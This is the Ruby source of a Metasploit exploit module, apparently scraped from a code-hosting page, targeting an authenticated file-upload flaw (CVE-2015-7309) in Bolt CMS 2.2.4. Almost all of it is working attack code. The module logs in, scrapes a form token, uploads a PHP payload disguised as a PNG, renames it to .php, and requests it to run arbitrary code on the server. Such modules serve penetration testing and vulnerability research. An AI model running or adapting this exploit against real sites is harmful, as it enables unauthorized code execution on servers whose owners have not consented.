Path: blob/master/modules/exploits/multi/http/bolt_file_upload.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CMS Bolt File Upload Vulnerability',16'Description' => %q{17Bolt CMS contains a flaw that allows an authenticated remote18attacker to execute arbitrary PHP code. This module was19tested on version 2.2.4.20},21'License' => MSF_LICENSE,22'Author' => [23'Tim Coen', # Vulnerability Disclosure24'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module25],26'References' => [27['CVE', '2015-7309'],28['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']29],30'DisclosureDate' => '2015-08-17',31'Platform' => 'php',32'Arch' => ARCH_PHP,33'Targets' => [['Bolt 2.2.4', {}]],34'DefaultTarget' => 0,35'Notes' => {36'Reliability' => UNKNOWN_RELIABILITY,37'Stability' => UNKNOWN_STABILITY,38'SideEffects' => UNKNOWN_SIDE_EFFECTS39}40)41)4243register_options(44[45OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),46OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']),47OptString.new('USERNAME', [true, 'The username to authenticate with']),48OptString.new('PASSWORD', [true, 'The password to authenticate with'])49]50)51end5253def check54cookie = bolt_login(username, password)55return Exploit::CheckCode::Detected unless cookie5657res = send_request_cgi(58'method' => 'GET',59'uri' => normalize_uri(target_uri.path, 'bolt'),60'cookie' => cookie61)6263if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS')64return Exploit::CheckCode::Vulnerable65end6667Exploit::CheckCode::Safe68end6970def username71datastore['USERNAME']72end7374def password75datastore['PASSWORD']76end7778def fname79datastore['FOLDERNAME']80end8182def bolt_login(user, pass)83res = send_request_cgi(84'method' => 'GET',85'uri' => normalize_uri(target_uri.path, 'bolt', 'login')86)8788fail_with(Failure::Unreachable, 'No response received from the target.') unless res8990session_cookie = res.get_cookies91vprint_status("Logging in...")92res = send_request_cgi(93'method' => 'POST',94'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),95'cookie' => session_cookie,96'vars_post' => {97'username' => user,98'password' => pass,99'action' => 'login'100}101)102103return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt')104105nil106end107108def get_token(cookie, fname)109res = send_request_cgi(110'method' => 'GET',111'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),112'cookie' => cookie113)114115if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /116return Regexp.last_match[1]117end118119nil120end121122def rename_payload(cookie, payload, fname)123res = send_request_cgi(124'method' => 'POST',125'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),126'vars_post' => {127'namespace' => 'theme',128'parent' => fname,129'oldname' => "#{payload}.png",130'newname' => "#{payload}.php"131},132'cookie' => cookie133)134135return true if res && res.code == 200 && res.body.include?('1')136137nil138end139140def exploit141vprint_status("Authenticating using #{username}:#{password}")142143cookie = bolt_login(username, password)144fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?145vprint_good("Authenticated with Bolt.")146147token = get_token(cookie, fname)148fail_with(Failure::Unknown, 'No token found.') if token.nil?149vprint_good("Token \"#{token}\" found.")150151vprint_status("Preparing payload...")152payload_name = Rex::Text.rand_text_alpha_lower(10)153154data = Rex::MIME::Message.new155data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")156data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')157post_data = data.to_s158159vprint_status("Uploading payload...")160res = send_request_cgi(161'method' => 'POST',162'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),163'ctype' => "multipart/form-data; boundary=#{data.bound}",164'data' => post_data,165'cookie' => cookie166)167168fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302169vprint_good("Uploaded the payload.")170171rename = rename_payload(cookie, payload_name, fname)172fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil?173174php_file_name = "#{payload_name}.php"175payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name)176vprint_status("Parsed response.")177178register_files_for_cleanup(php_file_name)179vprint_status("Executing the payload at #{payload_url}.")180send_request_cgi(181'uri' => payload_url,182'method' => 'GET'183)184end185end186187188